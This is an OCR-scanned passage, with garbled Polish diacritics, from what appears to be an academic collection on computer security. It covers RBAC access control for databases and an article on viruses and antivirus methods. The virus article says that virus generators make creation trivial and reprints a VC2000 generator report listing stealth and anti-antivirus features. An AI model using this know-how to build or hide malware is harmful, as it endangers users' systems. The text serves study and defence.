do okreslonych obiektéw, co moze okazaé si¢ bardzo czasochtonnym
zadaniem i sprzyja powstawaniu btedéw.

Role dobrze nadaja sie do egzekwowania najwazniejszych zasad
bezpieczenstwa, takich jak: zasada najmniejszych przywilejow (ang. least
privileges) i zasada rozdzielenia obowiazkéw (ang. separation of duties).

Zasada najmniejszych przywilejéw wymaga, by uzytkownicy nie
mieli dodatkowych przywieli poza tymi, ktore sa im niezb¢dne do wyko-
nywania ich pracy. Zasada ta ma duze znaczenie dla utrzymania integral-
nosci bazy danych. W wypadku kontroli dostgpu z zastosowaniem rél
egzekwowanie tej zasady polega na okresleniu niezbednych transakcji
potrzebnych do wykonywania obowiazkéw pracownikdéw, umieszczenie
ich w odpowiednich rolach i przypisaniu odpowiednio uzytkownikow do
tych rol.

Zasada rozdzielenia obowigzkéw wymaga, aby dla okreslonego
zbioru funkcji zaden podmiot nie mial mozliwoséci uruchomienia wszyst-
kich funkcji w tym zbiorze. Dla przykladu: nie moze istnie¢ pracownik,
ktéry moze uruchomi¢ funkcje tworzaca liste plac i ktéry moze mie¢ jed-
noczesnie dostep do funkcji zatwierdzajacej t¢ samga liste plac. Rozdziele-
nie obowigzkéw moze by¢ statyczne lub dynamiczne. W wypadku sta-
tycznego rozdzielnia obowiazkéw rozwigzanie z zastosowaniem rol pole-
ga na zwyczajnym przydzieleniu uzytkownikéw do rél i na odpowiednim
umieszczeniu funkcji w tych rolach, tak aby w obrgbie roli spetniona byta
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ta zasada. Dynamiczne rozdzielenie obowiazkéw jest bardziej zlozone,
poniewaz jest ono okreslane w czasie dzialania systemu. Ma ono na celu
zwigkszenie elastycznosci przeprowadzanych operacji. Rozwazmy raz
jeszcze przykiad z ustalaniem listy ptac i jej zatwierdzaniem. W wypadku
statycznym zaden pracownik, ktéry ma mozliwos$¢ ustalania listy ptac, nie
moze jej zatwierdza¢. Rozwigzanie dynamiczne moze np. zaklada¢, ze
pracownik, ktory moze ustala¢ listy plac, moze tez je zatwierdzac, z tym
wyjatkiem, ze nie moze on zatwierdzaé tej listy, ktdra sam wczedniej
ustalit. Tak wigc przykladowo w wypadku dynamicznym, aby dany uzyt-
kownik otrzymat dostep do transakcji, musi byé sprawdzany jego udziat
w roli oraz jego identyfikator.

Kontrola dostepu oparta na rolach odpowiada wielu wymogom bez-
pieczefistwa organizacji komercyjnych i rzadowych. Okazuje si¢ bowiem,
ze wiekszo$¢ organizacji opiera swoje decyzje kontroli dostgpu na funk-
cjach, jakie petnia indywidualni pracownicy.

Najbardziej popularnym teoretycznym modelem kontroli dost¢pu
opartej na rolach jest model o nazwie RBAC (ang. Role Based Access
Control). W celu wykazania réznych wymiaréw RBAC zostata zdefinio-
wana rodzina czterech modeli koncepcyjnych. RBAC, jest bazowym mo-
delem, ktory okre$la minimalne wymagania RBAC. RBAC,; jest
rozszerzeniem modelu RBAC; o mozliwosé wprowadzenia hierarchii rol.
Model RBAC; jest niezalezny od RBAC; i wprowadza do modelu
RBAC, mozliwos¢ stosowania ograniczen. Model RBAC; jest polacze-
niem modeli RBAC;1 RBAC,.

W sklad modelu RBAC, wchodzg nast¢pujace komponenty: Uzyt-
kownicy (U), Role (R), Przywileje (P), Sesje (S) oraz relacje UA i PA.
Relacje mig¢dzy tymi komponentami przedstawione sg na rys. 2.

R P
PA
4—LJA—"> Role Wy Przywileje

—

Rys. 2. Zaleznosci miedzy komponentami RBAC: U, S, R, P, UA i PA
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Dla uproszczenia rozwazan komponent Uzytkownicy odnosi si¢ do
oséb. Role reprezentuja funkcje, jakie sa pelnione w danej organizacji.
Przez Przywilej bedziemy rozumieli zgode na dostep do obiektow (obiektu)
systemu w okre$lonym trybie. Przywileje sa zawsze pozytywne i nadajq ich
posiadaczowi mozliwo$é wykonywania pewnych operacji w systemie.
Przywileje mogg odnosi¢ si¢ do pojedynczych obiektdw lub do calych ich
zbioréw. W przypadku relacyjnych baz danych chronionymi obiektami
moga by¢: relacje, perspektywy, krotki czy atrybuty, a mozliwymi opera-
cjami mogg by¢ polecenia: SELECT, UPDATE, DELETE i INSERT.

Komponent Sesje zawiera powiazania uzytkownikéw z rolami. Kon-
kretny uzytkownik, ustalajac sesj¢, moze okresli¢ liczbe aktywnych rél
sposrdd tych, ktorych jest czlonkiem. Przywileje dostgpne dla uzytkow-
nika w danym momencie sg suma przywilejow rél, ktore zostaty aktywo-
wane w biezacej sesji. Kazda sesja jest zwiazana z jednym uzytkowni-
kiem. W danym czasie uzytkownik moze mie¢ ustalonych wiele sesji, a
kazda sesja moze mie¢ rézne kombinacje aktywnych rol.

W RBAC, okreslone sa dwie relacje UA (ang. user assigment) oraz
PA (ang. permission assigment). Relacja UA okreéla powigzania uzyt-
kownikdéw z rolami. UA jest relacja wiele-do-wielu, poniewaz uzytkownik
moze by¢ czlonkiem wielu r6l, a rola moze mie¢ wielu uzytkownikow.
Relacja PA odnosi si¢ do zalezno$ci migdzy przywilejami a rolami. Rela-
cja PA jest takze relacjq wiele-do-wielu, bo rola moze zawieraé wiele
przywilejoéw, a ten sam przywilej moze by¢ przyznany do wielu rél. Rela-
cje te sa kluczowymi elementami w RBAC.

Powyzszy opis modelu RBAC, mozna sformalizowa¢ definicja:

Model RBAC, charakteryzujg komponenty:

e U R P, S(Uzytkownicy, Role, Przywileje, Sesje),

e relacja wiele-do-wielu PA < P x R migdzy rolami i przywilejami,

e relacja wiele-do-wielu UA < U x R migdzy uzytkownikami i rolami,

. funkcja user: S — U mapujaca kazdg sesja s; do pojedynczego uzyt-
kownika user(s;).

o  funkcja roles: S —> 2% mapuje kazda sesje s; do zbioru 16l roles(s;).

Kazda rola musi mieé przyznany przynajmniej jeden przywilej
i kazdy uzytkownik musi byé czlonkiem przynajmniej jednej roli. Model
RBAC, zaklada takze, ze przywileje odnosza si¢ do danych i zasoboéw
systemu, a nie do komponentow RBAC. Przywileje pozwalajace na mo-
dyfikacje zbioréw U, R i P czy relacji PA i UA nazywane sg przywilejami
administracyjnymi. W RBACy tylko specjalny administrator systemu
moze uzywaé przywilejow administracyjnych.
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Kontrola dostgpu oparta na rolach wydaje si¢ by¢ obecnie najlep-
szym rozwiazaniem. Zarzgdzanie przywilejami uzytkownikéw jest tutaj
bardzo uproszczone i efektywne. Kontrola dostepu tego typu nadaje sie
szczegblnie do organizacji o duzej liczbie uzytkownikéw bazy danych.
W zwiazku z tym, ze przywileje w rolach ustala sig¢ raczej rzadko, gtéwne
zadanie zwigzane z kontrolg dostgpu polega na przydzielaniu 1 usuwaniu
cztonkostwa uzytkownikoéw w rolach. W wypadku organizacji o duzej ro-
tacji na stanowiskach zastosowanie rdl jest jedynym logicznym rozwia-
zaniem. W wypadku duzych systemdow, gdzie liczba r6l moze wynosié
setki, a nawet tysiace, zarzadzanie tymi rolami moze by¢ realizowane po-
przez zastosowanie specjalnych rél administracyjnych.

W implementacji rél mozna wprowadzaé wiele pozytecznych mody-
fikacji. Podobnie np. jak uzytkownicy przydzielani sg do odpowiednich
rél w zaleznosci od pelnionych funkeji, tak chronione obiekty mogg by¢
przydzielane do poszczegodlnych klas obiektéw. Zamiast przydziela¢ do
rél prawa dostgpu do poszczegdlnych obiektow, mozna przydzieli¢ prawa
dostgpu do catych klas obiektow. Dzieki temu zarzadzanie prawami do-
stgpu jest prostsze i lepiej kontrolowane.

Koncepcja rdl podobna jest do koncepcji grup, istniejq jednak zasad-
nicze roéznice. W wigkszosci implementacji grupy traktowane sa jako
zbiory uzytkownikéw, a przyznawanie przywilejéw grupom jest zazwy-
czaj zdecentralizowane. Role sg jednej strony zbiorami uzytkownikéw, a
z drugiej — zbiorami przywilejéw. Grupy moga by¢ uzyte do implemen-
tacji rél. Przykladowo mechanizm grup, w ktérym przyznawanie uczest-
nictwa oraz przywilejow moze by¢ realizowane tylko przez specjalnego
administratora bezpieczenstwa, jest bardzo zblizony do mechanizmu rél.
Charakterystyczne cechy rdl to:

e latwos$¢ okreslenia zardwno cztonkdw, jak i przywilejow roli;
e scentralizowane kontrolowanie cztonkostwa 1 przywilejow roli.

Model kontroli dostepu oparty na rolach moze by¢ rozbudowywany
w zaleznosci od potrzeb konkretnych organizacji. W implementacji rol
istnieje takze mozliwos¢ wykorzystania elementow uznaniowych i obo-
wigzkowych metod kontroli dostgpu.

% % %

Dzi$ funkcjonowanie spofeczefistwa bez komputerow, a w szczeg6l-
nosci bez baz danych, jest wrecz niemozliwe. Smialo mozna stwierdzic,
ze obecnie jeste$my uzaleznieni od komputerow.

Jak wykazuja badania, istnicjace oprogramowania to glownie aplika-
cje bazodanowe iprogramy z nimi zwigzane. Z bazami danych mozna
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spotka¢ si¢ we wszystkich dziedzinach zycia, a szczegélnie tam, gdzie
mamy do czynienia z szeroko rozumiang informacja. Wazne jest wigc za-
pewnienie odpowiedniego bezpieczenstwa informacji w bazach danych.
Okazuje si¢ bowiem, ze zachwalane przez producentow zabezpieczenia,
omijane sq W prosty sposob przez nawet stabo wyszkolonych hakeréw.

Rozwigzaniem zapewniajacym najwigksze bezpieczenstwo danych
przy odpowiedniej elastycznosci systemu jest kontrola dostepu oparta na
rolach. Duza wartos¢ systemu rol docenili takze tworcy oprogramowania
baz danych. Role wprowadzane sg obecnie nieomalze we wszystkich
systemach baz danych. Okazuje si¢ jednak, ze niejednokrotnie idea me-
chanizmu rél jest wypaczana i w takich sytuacjach moze nie dawaé do-
statecznej ochrony. Producenci stawiajg czgsto na pierwszym migjscu
elastycznos¢ systemu: ,,wszystko jest mozliwe”, a niejednokrotnie wiele
funkcji stuzy tylko ,.kupieniu” klienta, a nie bezpieczenstwu danych. Ko-
rzystanie z takich systeméw moze by¢ korzystne jedynie w sytuacji, gdy
w danej organizacji istnieje dobrze wykwalifikowany administrator bez-
pieczenstwa. Oczywista staje si¢ wigc potrzeba inwestycji w badania nad
rozwojem bezpiecznych systeméw baz danych, maja one bowiem istotny
wplyw na zycie wspolczesnego cztowieka.
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Czesc I

METODY ATAKU I OCHRONY
SYSTEMOW KOMPUTEROWYCH



Wirusy a antywirusy komputerowe

Adam Kiersztyn

Niniejsza artykul ma na celu obiektywne spojrzenie na wirusy i inne
zagrozenia komputeréw. Postaramy si¢ tutaj opisa¢é w ogdlnym zarysie
historie powstania i rozwoju wiruséw, najprostsze sposoby ich tworzenia
oraz sposoby mylenia oprogramowania antywirusowego, a takze metody
stosowane przez oprogramowanie antywirusowe do wykrywania i neutra-
lizowania dziatalnosci wiruséw i innych zagrozen komputerdw.

W literaturze mozna odnaleZ¢ wiele definicji wirusa. Wedlug Freda
Cohena wirus jest to program, kidry infekuje inne programy, modyfikujqc
je tak, aby zawieraly i wykonywaly jego wiasny kod [1]. Mozna zauwazy¢
tutaj analogie trafng do $wiata przyrody. Obecnie wirusy modyfikujg nie
tylko inne programy, lecz takze dyski i pamig¢. Dlatego Cohen wprowadzil
w 1983 r. nastepujaca definicje: wirus komputerowy to program, ktory po-
siada zdolno$é samoczynnego powielania sie i przenoszenia z jednego
komputera na drugi bez wiedzy i poza kontrolq uzytkownika [1].

Wirusy sa w stanie dokonaé ogromnych spustoszen zar6wno w poje-
dynczych komputerach, jak i w calych systemach. Wirusy atakuja z ukry-
cia i nigdy nie mozemy by¢ pewni bezpieczenstwa naszych danych.
Nawet pojedynczy wirus moze spowodowaé ogromne straty, np. wirus
Code Red spowodowat straty w wysokosci 2,5 mld § [2].

1. Krétka historia wiruséw
e Rok 1959. L.S. Penrose opublikowal w czasopismie ,Scientific

American” artykul o samopowiclajacych si¢ strukturach mechanicz-
nych [3]. Sposoby ich aktywacji, powielania, mutacji i przechwyty-
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wania zostaly przedstawione na prostym dwuwymiarowym modelu.
Ideg t¢ zaimplementowat pdZniej w kodzie maszynowym IBM 650,
L. G. Stahl.

e Rok 1981. Powstanie pierwszego wirusa komputerowego, cho¢ jesz-
cze nikt nie uzywat takiej nazwy. Byla to modyfikacja systemu ope-
racyjnego komputera Apple. Autor tego programu jest nieznany, jed-
nak uwaza si¢, ze musial to by¢ jeden z programistow firmy Apple,
bowiem do stworzenia takiego programu byta niezbedna ogromna
wiedza o systemie operacyjnym [4].

e Rok 1983. Fred Cohen przedstawia teoretyczne zalozenia dotyczace
wiruséw. W nastgpnym roku przedstawia wlasny wirus i podaje de-
finicje wirusa komputerowego [1].

e Rok 1986. Powstaje pierwszy wirus atakujacy sektor startowy dys-
kietki. Tworcami ,,Braina” byli dwaj pakistanscy bracia. Do domi-
nujacych w pisaniu wiruséw programistow z Pakistanu i Indii dola-
czyli po jakims$ czasie programisci z Europy Wschodniej [2].

e Rok 1988. To poczatki terroryzmu komputerowego. W tym roku
znaleziono w Ministerstwie Obrony Izraela wirusa nazwanego ,,Jeru-
zalem”. Wirus ten kasowat pliki w zarazonych komputerach w piatek
trzynastego kazdego miesigca. Powstaje tez pierwszy robak interne-
towy ,,Internet Worm”. Jego tworcq jest amerykanski student Robert
Morris. Na skutek bledu robak wymyka si¢ spod kontroli i paralizuje
sie¢ w Stanach Zjednoczonych.

e Rok 1990. W Bulgarii powstaje pierwszy BBS (Bulletin-Board Se-
rvice) dla tworcow wiruséw. Na rynku dostgpnych jest blisko 20 réz-
nych programéw antywirusowych, m.in. Norton Antivirus, McAfee
ViruScan, Dr Solomon Antivirus Toolkit, F-Prot, ThunderByte.

¢ Rok 1994. Pojawia si¢ pierwsza ,,falszywka”. Wedlug jej autora listy
z nagléwkiem ,,Good Times” zawierajg wirusa kasujacego zawartosé
dysku twardego. Byla to plotka, jednak juz kilka lat pdzniej fikcja
stata si¢ prawda i pojawily si¢ wirusy rozsytane e-mailem.

e Rok 1999. Powstaje jeden z pierwszych wiruséw wykorzystujacych
ksigzke teleadresowg Microsoft Outlook do rozsylania swoich kopii.
»Melissa” jest jednym z najszybciej rozprzestrzeniajacych si¢ wiru-
sow [5].

e  Rok 2000. Caly $§wiat poznatl mozliwosci chyba najstynniejszego wi-
rusa ,,] Love You”. Wirus ten korzysta z poczty elektronicznej do
rozsytania swoich kopii, ponadto kasuje pliki mp3, jpg oraz ma
mozliwo$¢ przesytania haset zapisanych w komputerze tworcy [6].
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e Rok 2001. Pojawia si¢ wirus ,,Anna Kurnikowa”, Uwaza sig¢, ze po-
wstal on przy uzyciu generatora wiruséw [6].

e Nimda i Code Red — pierwsze robaki internetowe nowej generacji.
Potrafia samodzielnie, bez ingerencji czlowieka, przemieszczaé sig
po internecie, zarazajac kolejne komputery i serwery. Zaatakowaly
komputery wielu znanych firm, np. At&T oraz agencji AP. Straty fi-

nansowe spowodowane tylko przez te dwa wirusy wynosza ponad
2,5mld §.

2. Podstawowe technologie tworzenia wiruséw

Wielu uwaza, ze do stworzenia wirusa niezbedna jest znakomita
znajomo$¢ systemu operacyjnego, jak rowniez jezyka programowania ni-
skiego poziomu. Ot6z nic bardziej mylnego. Stworzy¢ wirusa moze nawet
osoba, ktéra ma jedynie minimalng wiedz¢ o informatyce. Wystarczy je-
dynie mie¢ komputer z dostepem do Internetu i wykorzysta¢ jeden z
wielu dostepnych w sieci generatoréw wiruséw. Stworzenie wirusa przy
wykorzystaniu generatora VC2000 (Virus Creation — 2000) [7] zaj¢lo
jedynie niecale pie¢ minut, wliczajac w to odnalezienie i Sciagnigcie
generatora z sieci. Generator ten oprécz gotowego wirusa dolacza
rowniez jego kod, co umozliwia dokladne poznanie jego mozliwoscl.
Analiza kodu jest stosunkowo prosta dzieki zaopatrzeniu w komentarze.
Zasada dzialania tego wirusa jest bardzo zblizona do dziafania innych
wirusOw. Oprécz kodu wirusa automatycznie zostaje generowany
program do detekcji wirusa. Ponadto zostaje stworzony dokument
zawierajacy wszystkie dane techniczne dotyczace wirusa. Na wstepie
analizy tegoz dokumentu dowiadujemy sig, ze wirus zostal wygenero-
wany za pomocg VC2000 oraz poznajemy jego nazwe i autora:

VC2000 v0.96 12/29/93
Virus Name: kierat
Author: socket

Notes: przyklad wirusa

Nastepnie dowiadujemy sie, jakie obiekty atakuje wirus. Tworzac go,
wskazano, aby infekowat wszystkie pliki obstugiwane prze generator.

Infections:
Infects COM BIN EXE OV? SYS BAT VXD DLL Files
EXE (OV?/VXD/DLL) / COM (BIN) Determinatiocn
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Wirus sprawdza dtugosé plikow COM, bowiem pamigtamy, ze dtu-
gos¢ takich plikéw nie moze przekraczaé 64kB-100h-2 bajty, gdzie 100h
jest dtugoscia bloku PSP tworzonego na poczatku segmentu, do ktorego
tadowany jest program, a warto$¢ 2 wynika z faktu umieszczenia przed
startem programu wartosci 000h na stosie. Kierat sprawdza przed infek-
cja, czy plik nie jest juz zarazony.

Checks Filesize (Large COM/BIN Files Won't Be Infected)
Checks For Previous Infection
EXE/OV?/VXD/DLL Infection Identification Word: '*'

Wirus stosuje czastkowa technike ukrywania swojej dziatalnosci
(stealth), polegajaca na przywracaniu atrybutéw zainfekowanego pliku
oraz na przywracaniu poprzedniej daty 1 czasu modyfikacji pliku.

Restores Attributes
Restores Date and Time
Infects 9 Files Per Run

Jest to wirus nadpisujacy, a jego detekcja odbywa si¢ za pomocg
wartosci rejestru DX, ktora wynosi ‘fa’, jesli wirus jest zainstalowany.

Has User Defined Code ('**' starting with '21')
kierat is a overwritting armored runtime virus
kierat uses Interrupt 12h, DX = 'fa' for virus detection.

Ponadto stosowane sa tez inne sposoby zmniejszajace szans¢ wykry-
cia wirusa i opierajq si¢ one m.in. na obsludze blgdéw, blokowaniu kla-
wiatury oraz odpornosci na debugowanie kodu.

Anti-Detection Schemes:

Uses It's Own Disk Transfer Access

Interrupt 24h Error Handling - Leaves It In Memory

Locks Keyboard When Traced From A Debugger

Bypasses Thunder Byte's TBClean, Thus Infecting
Instead Of Cleaning The System

Has Anti-Turbo Debug Code

Has Anti F-Prot Routines

Does not infect anything with TBSCANX in memory

Wirus ten nie jest moze nowatorskim i genialnym dzietem, jednak
posiada pewng ciekawg ceche, a mianowicie nie wykrywa go aktualny
skaner wirusowy bardzo znanej marki. Jest to samo w sobie ciekawe za-
gadnienie, bowiem oprogramowanie, ktére ma chroni¢ zbiory naszych
danych przed dzialaniem wiruséw i innych zagrozen, nie jest w stanie
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namierzy¢ wirusa wygenerowanego przez ogolnie dost¢pny generator.
Uwazamy, ze twdrcy oprogramowania antywirusowego powinni przewi-
dzie¢ mozliwo$é pojawienia sie takich wiruséw i odpowiednio zmienié
skanery, tak by wykrywaly wszystkic mozliwe programy tworzone przez
generatory wiruséw. Nie jest to oczywiscie tatwe zadanie, bowiem gene-
ratory dziatajgq losowo i ich koncowego efektu nie mozna z gory przewi-
dzieé¢. Na poparcie tych stéw mozna przytoczyé¢ fakt duzego naglosnienia
pojawienia si¢ stosunkowo groznego wirusa ,,Anna Kurnikowa” [6].
Uwaza sie, iz zostal on wygenerowany, a nie napisany od podstaw.

3. Rozprzestrzenianie si¢ wiruséw

Jak szybko rozprzestrzeniaja si¢ wirusy i inne zagrozenia? Odpo-
wiedZ wlatwi nam mapka wirusoéw publikowana przez Trend Macro [8].
Analizujac dane, mozemy }atwo dojs¢ do wniosku, iz zycie wirusow jest
stosunkowo krétkie. Nie zmniejsza to jednak szkdd, jakie potrafia one
wyrzadzi¢. Pojedynczy wirus jest w stanie w ciggu doby zainfekowaé
blisko 75 000 plikéw na ponad 15 000 komputerach. Jesli teraz zwigkszy-
my czas naszych badan do chociazby tygodnia, to przekonujemy sig, ze
zagrozenie jest naprawde ogromne, bowiem liczba infekowanych kom-
puterdéw moze dochodzi¢ do 200 000.

Powyzsze rozwazania odnosza si¢ do wirusow, ktére w znaczne]
mierze sa mutacjami juz istniejacych. Neutralizacja takiego wirusa jest
bardzo szybka, bowiem tworcy oprogramowania antywirusowego znajg
juz pierwowzOr wirusa i nie muszg analizowaé tak dokladnie jego kody.
Jednak jesli mamy do czynienia z nowym wirusem, ktéry nie jest po-
dobny do zadnego z istniejacych, to wowczas automatycznie zwieksza sig
czas powstawania antywirusa, a co za tym idzie, zwigksza si¢ liczba infe-
kowanych komputerow.

Nalezy zwréci¢ uwage, ze w roznych czgdciach $wiata dominujg
rézne wirusy. Wynika to z faktu, iz wirusy najszybciej rozprzestrzeniajg
sie w obrebic panstwa, a nastgpnie kontynentu, na jakim powstaty. Troche
inng sytuacje mamy z robakami internetowymi wykorzystujacymi pocztg
elektroniczng do rozprzestrzeniania si¢. W znacznej czgsci wykorzystuja
one ksigzki adresowe, co zwieksza mozliwo$¢ szybszego rozprzestrzenia-
nia si¢ miedzy kontynentami.

Istnieje jeszcze jedna ciekawa kwestia. Jezeli przyjrzymy si¢ doktad-
niej danym o wirusach [9], to zauwazymy, ze liczba infekcji nie ma row-
nego rozktadu w ciggu dnia. Mozna jednak zaobserwowa¢, ze w wigkszo-
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sci wypadkow najwiecej infekcji przypada w godzinach 6-9, 14-17, 20-
22, to jest w godzinach rozpoczynania i konczenia pracy przez wigkszo$é
biur oraz w godzinach wieczornych, kiedy to przed komputerami odpo-
czywamy po cigzkim dniu pracy (patrz w odniesieniu do wirusa
»PE_ELKERN.D” —rys. 1).
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Rys. 1. Zaleznos¢ liczby infekcji wirusem od czasu

Dla pordéwnania w robakach internetowych nie mozemy juz wyrdz-

ni¢ okresOw znacznego wahania liczby infekcji, o czym moze §wiadczy¢
wykres przedstawiajacy czas infekcji ,, WORM_KLEZ.H” (rys. 2).
Jesli natomiast przyjrzymy si¢ doktadnie poszczeg6lnym kontynentom to
stwierdzimy, iz w Europie, Australii i Ameryce Péinocnej prym wioda
robaki internetowe, natomiast w Azji i Afryce wirusy. Wynika to
prawdopodobnie z faktu, iz w Europie, Australii i Ameryce bardziej roz-
powszechniony jest Internet oraz w pracy wykorzystuje si¢ stosunkowo
mniej oprogramowania pochodzacego z nielegalnych Zrédet.
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Rys. 2. Zaleznosé liczby infekcji robakiem od czasu
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4. Oprogramowanie antywirusowe

Programy antywirusowe mozna podzieli¢ na kilka nastgpujacych

kategorii [10]:

Skanery (ang. scaners). Jest to najstarszy rodzaj programéw anty-
wirusowych, ich dziatanie polega na wyszukiwaniu zadanej sekwen-
cji bajtdéw w ciagu danych. Starsze wirusy mozna bylo namierzy¢ za
pomoca unikatowej sekwencji (tzw. sygnatury). Dzigki sygnaturze
mozemy zlokalizowaé wirusa w pamieci lub zarazonej ofierze. Naj-
prosciej jest odnalezé specyficzny napis lub unikatowa procedurg.
Znaczenie skaneréw zmalalo po pojawieniu sig wiruséw polimor-
ficznych, jednak nawet teraz sg one czg¢sto stosowane, zwlaszcza po
wezesniejszym krokowym lub emulowanym przej$ciu programu.
Monitory (ang. behaviour blockers, interceptors, resident monitors).
Jest to specyficzny program antywirusowy zainstalowany w pamigci ja-
ko program typu TSR lub sterownik SYS, ktéry poprzez monitorowanie
odpowiednich funkcji pozwala wykry¢ wszystkie operacje przeprowa-
dzane za pomocg monitorowanych funkcji. Ponadto wigkszo$¢ monito-
rOw analizuje, czy badany proces nie ingeruje w jakie§ systemowe
struktury danych, jak MCB lub tablica przerwan. Bardzo wazna cechg
monitordw jest moment ich zainstalowania — przed czy po wirusie.
Szczepionki (ang. disinfectors). Jest to rodzaj programu antywiruso-
wego skicrowanego przeciwko konkretnemu wirusowi. Po ztapaniu
egzemplarza wirusa analizuje sie jego kod i na jego podstawie defi-
niuje si¢ sygnature oraz okresla si¢ miejsca danych umozliwiajacych
odtworzenie oryginalnego wygladu ofiary (np. dla plikéw EXE jest
to punkt wejscia do oryginalnego programu). Obecnie stosowane
szczepionki sg bardzo rozbudowanymi programami, z przyjaznym
interfejsem 1 umozliwiajace wykrycie oraz usunigcie skutkéw dzia-
lalnosci nawet kilku tysigcy wirusow.

Programy autoweryfikujqce. Sa to programu, ktére dolaczaja si¢ na
koncu pliku i maja za zadanie sprawdzanie, czy dany program nie
zostal zmieniony od ostatniego uruchomienia. W ogromnej wigkszo-
$ci programy tego typu nie sg odporne na technike srealth uzywang
przez wirusy.

Programy zliczajqce sumy kontrolne (ang. integrity checkers). Dziala-
nie tego typu programdw sprowadza si¢ do obliczenia sum kon-
trolnych dla pojedynczego lub grupy plikéw. Obliczone w ten sposob
sumy kontrolne sg przechowywane w specjalnych plikach, dlatego tez
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mozliwe jest porOwnanie poprzedniej sumy z obecnie obliczona.
Niektére wirusy znajg zasady obliczania sum kontrolnych i po infekcji
same obliczaja sum¢ kontrolna, ktérg nastgpnie umieszczajg w pliku
z sumami. Jest to mozliwe, gdyz pliki z sumami w wigkszosci nie sg
chronione. Zdarza si¢ rdwniez, ze wirusy podczas infekcji odnajduja
pliki z sumami kontrolnymi i perfidnie je kasuja.

Metody stosowane przez programy antywirusowe mozna podzieli¢

na nastgpujace kategorie:

e Skaning. Jest to najstarsza technika stosowana przez programy
antywirusowe. Skaning polega na wyszukiwaniu zadanej sekwencji
bajtow, zwanej sygnatura. Widzimy zatem, ze sygnatura jest ciggiem
bajtéw o nieznanej z géry dhugosci, zapisanym w postaci heksago-
nalnej. Obecnie rozszerzono pojecie sygnatury, wigczajgc do niej
rowniez znaki globalne, takie jak **’ czy “?°.

e  Heurysiyczne wyszukiwanie wirusow. Metoda wykorzystuje fakt, iz
wigkszo$¢ wiruséw to przerobki wezesniejszych wersji. Tworcy
oprogramowania antywirusowego wykorzystali ten fakt do przeszu-
kiwanie pamigci w celu wykrycia typowych dla wirusow sekwencji.
Czesto zdarza sig, ze odnalezienie kilku charakterystycznych sek-
wencji doprowadza do odnalezienia nowego wirusa.

e  Tryb krokowy. Wirusy polimorficzne sg odporne na zwykle metody ska-
ningu, dlatego twoércy programéw antywirusowych wykorzystujg tryb
krokowy procesora do lokalizacji wiruséw. Metoda ta polega na tym, iz
program jest wykonywany krok po kroku pod nadzorem monitora,
ktory wyszukuje w rozkodowanym fragmencie sygnatury wirusa.

e LEmulacja procesora. Programy dziatajace w trybie krokowym
mozna oszukaé, dlatego twoércy oprogramowania antywirusowego
dolgczyli do swoich dziet interpretatory asemblera, dzigki ktérym
mogg emulowa¢ wykonywanie poczatkowych instrukcji programu,
majgc jednoczesnie nad nim pelng kontrole. Wadg tej metody jest
konieczno$¢ ciaglego uaktualniania asemblera.

e  Przynety (ang. baits, decoys). Metoda ta polega na tworzeniu przez
oprogramowanie antywirusowe plikow, ktére w zasadzie nic nie ro-
bia (sktadajg sie wylacznie z instrukcji NOP powtarzanej np. kilka
tysigcy razy).

e  Pobieranie wielkosci pamieci operacyjnej. Poniewaz wigkszos¢
wiruséw rezydentnych instaluje si¢ w pamigci poprzez modyfikacjg
nagtowkoéw pamigci MCB, mozliwe jest wykrycie wiekszoscei takich
intruzéw przez obliczenie wielkosci dostgpne] pamigci na rézne
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sposoby 1 nastgpnie na poréwnaniu, czy uzyskane warto$ci zgadzaja

si¢ ze sobag.

Podstawg profilaktyki jest zainstalowanie w komputerze jak najnow-
szej wersji oprogramowania antywirusowego. Na rynku mamy do dyspo-
zycji wiele produktow réznych firm, z ktérych kazdy uzytkownik moze
wybraé¢ sobie co$ odpowiedniego. Dostgpne sg roéwniez programy bez-
platne i demonstracyjne, ktére w gtéwnej mierze skierowane sg do mniej
zamoznych klientéw. Przy wyborze oprogramowania antywirusowego
powinni$my kierowa¢ si¢ nastepujacymi wskazéwkami:

e Program musi mie¢ renomg wérdd uzytkownikéw, bowiem dobry
towar reklamuje si¢ sam.

e Powinien rozpoznawaé jak najwigksza liczbe wirusow oraz mieé
mozliwo$¢ aktualizowania bazy danych, chociazby przez Internet.

e Program powinien by¢ przyjazny dla uzytkownika. Musimy mieé
mozliwos¢ konfiguracji programu do naszych indywidualnych wy-
magan. Zdarza si¢ bowiem, ze oprogramowanie AV tak uprzykrza
uzytkownikowi zycie, ze ten w konicu sam je wylacza.

e  Produkt powinien by¢ przeznaczony dla konkretnych potrzeb rynku
lokalnego. Najlepiej, zeby byt to produkt krajowy, jego gléwna za-
letg bytaby wowczas szybka reakcja na dziejace si¢ w Polsce wyda-
rzenia,

e Najlepiej jest uzywaé jednoczes$nie co najmniej dwdch programéow
antywirusowych. Bedg sie one woOwczas uzupelnialy, przez co
zmniejszy si¢ prawdopodobienstwo pozostawienia ,,dziur” w zabez-
pieczeniach, z ktérych mogltby korzysta¢ wirus lub inne zagrozenie
systemu.

* k %k

Na podstawie powyzszej krotkiej charakterystyki wiruséw i innych
zagrozen danych widzimy, ze nie mozemy bagatelizowa¢ tego problemu,
gdyz on istnieje, a co gorsze, rozwija sie w zastraszajacym tempie. Wi-
rusy sa obecne niemal wszedzie. Nie jest prawda, ze wirusy sg przeno-
szone jedynie przez pirackie kopie programéw oraz hakerskie aplikacje
$ciggane z Internetu. Znane sg bowiem przypadki, iz wirus byl doltaczony
do w petni legalnego oprogramowania pochodzacego z legalnej ttoczni.
Uwaza sig¢, choé moze wydawa¢é si¢ to troche absurdalne, iz zabezpie-
czony przed wirusami czy konmi trojanskimi jest komputer niepodia-
czony do sieci elektrycznej, czyli taki, z ktdrego w ogdle si¢ nie korzysta.
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Wszyscy uzytkownicy komputeréw powinni pamigtaé, Ze tatwiej jest za-
pobiegaé niz leczyé.
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Analiza programow ,Konie trojanskie”
i metod ich wykrywania

Marek Jezior

W latach 70. XX wieku w pracach japonskich i amerykanskich uczo-
nych pojawilo si¢ nowe pojecie: spoleczeristwo informacyjne. Termin ten
okreslat typ spoleczenistwa ksztattujacy si¢ w krajach postindustrialnych,
w ktérych rozwdj technologii osiagnal najszybsze tempo. W spoleczen-
stwie informacyjnym zarzadzanie informacja, jej jako§¢ oraz szybkodé
przeptywu sa zasadniczymi czynnikami konkurencyjnosci zaréwno
w przemySle, jak i w ustugach. Spoleczernistwo staje sie spoleczefistwem
informacyjnym, gdy osiaga stopiefi rozwoju wymagajacy stosowania
nowych technik gromadzenia, przetwarzania, przekazywania i uzytkowa-
nia informacji i wytwarza multimedialna strukture temu stuzaca [5].

